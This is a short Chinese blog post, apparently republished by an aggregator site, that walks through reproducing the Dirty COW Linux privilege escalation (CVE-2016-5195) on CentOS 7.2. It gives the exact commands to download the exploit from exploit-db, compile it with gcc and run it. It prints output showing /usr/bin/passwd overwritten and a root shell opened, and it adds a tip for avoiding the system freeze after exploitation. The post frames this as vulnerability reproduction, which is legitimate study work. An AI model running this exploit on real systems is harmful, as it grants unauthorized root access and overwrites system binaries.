关于脏牛

Posted err0">tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了关于脏牛相关的知识，希望对你有一定的参考价值。

测试平台：CentOS7.2

编译工具GCC

mkdir cowroot

cd cowroot 
wget https://www.exploit-db.com/download/40616

mv 40616 cowroot.c
gcc cowroot.c -o cowroot -pthread

这时会发现GCC编译器有警告，不要管，当前目录下已经编译完成cowwroot文件了
执行cowroot

./cowroot

  • 执行

DirtyCow root privilege escalation
Backing up /usr/bin/passwd.. to /tmp/bak
Size of binary: 57048
Racing, this may take a while..
/usr/bin/passwd is overwritten
Popping root shell.
Don‘t forget to restore /tmp/bak
thread stopped
thread stopped

会发现用户已经变为root


但这里有一个问题，在执行EXP之后十几秒后，系统会卡死，在kali2.0(debian)  CentOS7.2 
ubuntu14.04测试都卡死
这样就算到时候利用这个漏洞提权成功，卡死后也没用了，只能重新登陆

方法是关闭pdfflush刷新，防止死机

以上是关于关于脏牛的主要内容，如果未能解决你的问题，请参考以下文章

脏牛Linux本地提权漏洞复现(CVE-2016-5195)

关于代码片段的时间复杂度

关于片段生命周期

关于js----------------分享前端开发常用代码片段

关于在各浏览器中插入音频文件的html代码片段

springcloud报错-------关于 hystrix 的异常 FallbackDefinitionException:fallback method wasn't found(代码片段